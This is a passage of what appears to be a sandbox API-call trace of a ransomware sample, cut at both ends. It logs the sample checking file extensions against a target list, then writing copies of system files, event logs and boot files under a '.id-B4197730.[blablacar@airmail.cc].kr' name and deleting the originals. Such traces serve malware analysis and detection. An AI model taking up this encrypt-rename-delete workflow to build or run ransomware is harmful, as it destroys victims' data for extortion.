5 [0095.324] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0095.324] lstrlenW (lpString=".pdf") returned 4 [0095.324] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0095.324] lstrlenW (lpString=".xls") returned 4 [0095.324] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0095.324] lstrlenW (lpString=".xlsx") returned 5 [0095.324] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0095.324] lstrlenW (lpString=".ppt") returned 4 [0095.324] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0095.325] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.325] lstrlenW (lpString=".zip") returned 4 [0095.325] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0095.325] lstrlenW (lpString=".rar") returned 4 [0095.325] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0095.325] lstrlenW (lpString=".bz2") returned 4 [0095.325] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0095.325] lstrlenW (lpString=".7z") returned 3 [0095.325] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0095.325] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.325] lstrlenW (lpString=".dbf") returned 4 [0095.325] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0095.325] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.325] lstrlenW (lpString=".1cd") returned 4 [0095.325] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0095.325] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.325] lstrlenW (lpString=".jpg") returned 4 [0095.325] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0095.325] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.326] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.326] lstrlenW (lpString=".doc") returned 4 [0095.326] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0095.326] lstrlenW (lpString=".docx") returned 5 [0095.326] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0095.326] lstrlenW (lpString=".pdf") returned 4 [0095.326] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0095.326] lstrlenW (lpString=".xls") returned 4 [0095.326] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0095.326] lstrlenW (lpString=".xlsx") returned 5 [0095.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0095.326] lstrlenW (lpString=".ppt") returned 4 [0095.326] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0095.326] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.326] lstrlenW (lpString=".zip") returned 4 [0095.326] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0095.326] lstrlenW (lpString=".rar") returned 4 [0095.326] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0095.326] lstrlenW (lpString=".bz2") returned 4 [0095.326] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0095.326] lstrlenW (lpString=".7z") returned 3 [0095.326] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0095.326] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.326] lstrlenW (lpString=".dbf") returned 4 [0095.326] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0095.326] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.326] lstrlenW (lpString=".1cd") returned 4 [0095.326] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0095.327] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.327] lstrlenW (lpString=".jpg") returned 4 [0095.327] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0095.327] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0095.327] lstrlenW (lpString="bootspaces.dll") returned 14 [0095.327] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.341] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=95648) returned 1 [0095.341] CloseHandle (hObject=0x340) returned 1 [0095.341] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0095.341] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.341] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.341] lstrlenW (lpString=".doc") returned 4 [0095.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0095.341] lstrlenW (lpString=".docx") returned 5 [0095.341] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0095.341] lstrlenW (lpString=".pdf") returned 4 [0095.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0095.341] lstrlenW (lpString=".xls") returned 4 [0095.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0095.341] lstrlenW (lpString=".xlsx") returned 5 [0095.341] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0095.341] lstrlenW (lpString=".ppt") returned 4 [0095.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString=".zip") returned 4 [0095.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString=".rar") returned 4 [0095.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString=".bz2") returned 4 [0095.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0095.342] lstrlenW (lpString=".7z") returned 3 [0095.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString=".dbf") returned 4 [0095.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString=".1cd") returned 4 [0095.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString=".jpg") returned 4 [0095.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.342] lstrlenW (lpString=".doc") returned 4 [0095.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString=".docx") returned 5 [0095.342] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0095.342] lstrlenW (lpString=".pdf") returned 4 [0095.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString=".xls") returned 4 [0095.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0095.342] lstrlenW (lpString=".xlsx") returned 5 [0095.343] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0095.343] lstrlenW (lpString=".ppt") returned 4 [0095.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0095.343] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.343] lstrlenW (lpString=".zip") returned 4 [0095.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0095.343] lstrlenW (lpString=".rar") returned 4 [0095.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0095.343] lstrlenW (lpString=".bz2") returned 4 [0095.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0095.343] lstrlenW (lpString=".7z") returned 3 [0095.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0095.343] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.343] lstrlenW (lpString=".dbf") returned 4 [0095.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0095.343] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.343] lstrlenW (lpString=".1cd") returned 4 [0095.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0095.343] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0095.343] lstrlenW (lpString=".jpg") returned 4 [0095.343] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0095.343] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0095.343] lstrlenW (lpString="bootvhd.dll") returned 11 [0095.343] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.344] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=99744) returned 1 [0095.344] CloseHandle (hObject=0x340) returned 1 [0095.347] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0095.347] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.347] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.347] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0095.347] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0095.347] lstrlenW (lpString=".doc") returned 4 [0095.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0095.347] lstrlenW (lpString=".docx") returned 5 [0095.347] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0095.347] lstrlenW (lpString=".pdf") returned 4 [0095.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0095.347] lstrlenW (lpString=".xls") returned 4 [0095.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0095.347] lstrlenW (lpString=".xlsx") returned 5 [0095.348] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0095.348] lstrlenW (lpString=".ppt") returned 4 [0095.348] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0095.348] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0095.348] lstrlenW (lpString=".zip") returned 4 [0095.348] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0095.348] lstrlenW (lpString=".rar") returned 4 [0095.348] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0095.348] lstrlenW (lpString=".bz2") returned 4 [0095.348] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0095.348] lstrlenW (lpString=".7z") returned 3 [0095.348] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0095.348] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0095.348] lstrlenW (lpString=".dbf") returned 4 [0095.348] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0095.372] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0095.374] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0095.377] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0095.379] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0096.006] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0096.006] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.009] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.009] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.009] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\bootnxt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0096.009] GetLastError () returned 0x0 [0096.009] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x1, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x10, lpOverlapped=0x0) returned 1 [0096.012] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0096.012] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0096.013] SetEndOfFile (hFile=0x2b4) returned 1 [0096.013] CloseHandle (hObject=0x2b4) returned 1 [0096.014] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.014] SetEndOfFile (hFile=0x34c) returned 1 [0096.015] CloseHandle (hObject=0x34c) returned 1 [0096.015] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0096.016] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0096.016] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.016] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.016] lstrlenW (lpString=".doc") returned 4 [0096.016] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0096.016] lstrlenW (lpString=".docx") returned 5 [0096.016] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0096.016] lstrlenW (lpString=".pdf") returned 4 [0096.016] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0096.016] lstrlenW (lpString=".xls") returned 4 [0096.016] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0096.016] lstrlenW (lpString=".xlsx") returned 5 [0096.016] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0096.016] lstrlenW (lpString=".ppt") returned 4 [0096.017] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString=".zip") returned 4 [0096.017] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString=".rar") returned 4 [0096.017] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString=".bz2") returned 4 [0096.017] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString=".7z") returned 3 [0096.017] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString=".dbf") returned 4 [0096.017] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString=".1cd") returned 4 [0096.017] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString=".jpg") returned 4 [0096.017] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.017] lstrlenW (lpString=".doc") returned 4 [0096.017] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0096.017] lstrlenW (lpString=".docx") returned 5 [0096.017] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0096.018] lstrlenW (lpString=".pdf") returned 4 [0096.018] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString=".xls") returned 4 [0096.018] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString=".xlsx") returned 5 [0096.018] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0096.018] lstrlenW (lpString=".ppt") returned 4 [0096.018] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.018] lstrlenW (lpString=".zip") returned 4 [0096.018] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString=".rar") returned 4 [0096.018] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString=".bz2") returned 4 [0096.018] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString=".7z") returned 3 [0096.018] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0096.018] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.018] lstrlenW (lpString=".dbf") returned 4 [0096.018] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.018] lstrlenW (lpString=".1cd") returned 4 [0096.018] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0096.018] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0096.018] lstrlenW (lpString=".jpg") returned 4 [0096.018] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0096.019] lstrcmpiW (lpString1=".sys", lpString2=".kr") returned 1 [0096.019] lstrlenW (lpString="hiberfil.sys") returned 12 [0096.019] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.019] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.019] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.019] lstrlenW (lpString=".doc") returned 4 [0096.019] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0096.019] lstrlenW (lpString=".docx") returned 5 [0096.019] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0096.019] lstrlenW (lpString=".pdf") returned 4 [0096.019] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0096.019] lstrlenW (lpString=".xls") returned 4 [0096.019] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0096.019] lstrlenW (lpString=".xlsx") returned 5 [0096.019] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0096.019] lstrlenW (lpString=".ppt") returned 4 [0096.019] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0096.019] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString=".zip") returned 4 [0096.020] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0096.020] lstrlenW (lpString=".rar") returned 4 [0096.020] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString=".bz2") returned 4 [0096.020] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString=".7z") returned 3 [0096.020] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0096.020] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString=".dbf") returned 4 [0096.020] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString=".1cd") returned 4 [0096.020] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString=".jpg") returned 4 [0096.020] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.020] lstrlenW (lpString=".doc") returned 4 [0096.020] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0096.020] lstrlenW (lpString=".docx") returned 5 [0096.020] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0096.020] lstrlenW (lpString=".pdf") returned 4 [0096.021] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString=".xls") returned 4 [0096.021] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0096.021] lstrlenW (lpString=".xlsx") returned 5 [0096.021] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0096.021] lstrlenW (lpString=".ppt") returned 4 [0096.021] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.021] lstrlenW (lpString=".zip") returned 4 [0096.021] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0096.021] lstrlenW (lpString=".rar") returned 4 [0096.021] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString=".bz2") returned 4 [0096.021] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString=".7z") returned 3 [0096.021] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0096.021] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.021] lstrlenW (lpString=".dbf") returned 4 [0096.021] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.021] lstrlenW (lpString=".1cd") returned 4 [0096.021] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0096.021] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0096.021] lstrlenW (lpString=".jpg") returned 4 [0096.021] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0096.022] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.022] lstrlenW (lpString="Application.evtx") returned 16 [0096.022] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.024] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0096.024] CloseHandle (hObject=0x34c) returned 1 [0096.024] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0096.025] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\application.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.025] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.025] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.025] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.025] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\application.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0096.025] GetLastError () returned 0x0 [0096.025] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.439] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.442] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0096.442] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0096.442] SetEndOfFile (hFile=0x2b4) returned 1 [0096.442] CloseHandle (hObject=0x2b4) returned 1 [0096.445] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, 